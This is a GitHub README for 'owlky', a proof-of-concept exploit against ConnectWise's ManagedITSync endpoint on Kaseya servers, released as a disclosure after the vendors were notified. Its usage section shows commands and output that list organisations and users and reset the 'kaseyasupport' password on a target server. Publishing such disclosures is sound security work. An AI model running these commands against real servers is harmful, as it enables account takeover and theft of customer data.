owlky icon indicating copy to clipboard operation
owlky copied to clipboard

Proof of concept exploit for ManagedITSync (Kaseya & ConnectWise integration)

owlky

What is this? This is a proof of concept exploit for a Kaseya & ConnectWise integration called ManagedITSync which allows ConnectWise to retrieve information about assets in your Kaseya database (to then generate Configurations in ConnectWise).

Specifically, this script targets the KaseyaCwWebService/ManagedIT.asmx endpoint which is installed on the Kaseya server. To be clear, this is not really an exploit with Kaseya's offering -- but rather the integration published by ConnectWise which happens to be installed on the Kaseya server.

I am releasing this for a few reasons:

  • The interested vendors (ConnectWise and Kaseya) have been made aware of this for months. The vendor responsible (ConnectWise) has since pulled this integration from their Marketplace and published mitigation steps in the ConnectWise university (here).
  • I have been told by ConnectWise that an advisery has been sent to affected customers (including above mitigation steps)
  • Since certain parties are aware of this existing I believe that all potentially affected parties should be aware so that they can ensure their systems are properly secured (you know, in case they did not receive any advisories from ConnectWise)

Usage

A few things... here are some examples.

$ ./owlky.py help

               available commands:
   )\___/(     owlky.py server(s) check
  {(K)v(Y)}    owlky.py server(s) dir-c
   {| ~ |}     owlky.py server(s) reset-support
   {/ ^ \}     owlky.py server(s) list-orgs
    `m-m`      owlky.py server(s) list-users

$ ./owlky.py kaseya.example.com list-orgs

Found 4 orgs at kaseya.example.com:
 - <REDACTED>
 - <REDACTED>
 - <REDACTED>
 - <REDACTED>
$ ./owlky.py kaseya.example.com reset-support
 
Attempting to reset password for kaseyasupport to 9e531283
Successfully reset password.
$ ./owlky.py kaseya.example.com list-users
 
Found 5 users at kaseya.example.com:
 - <REDACTED> (email: <REDACTED>)
 - <REDACTED> (email: <REDACTED>)
 - <REDACTED> (email: <REDACTED>)
 - <REDACTED> (email: <REDACTED>)
 - <REDACTED> (email: <REDACTED>)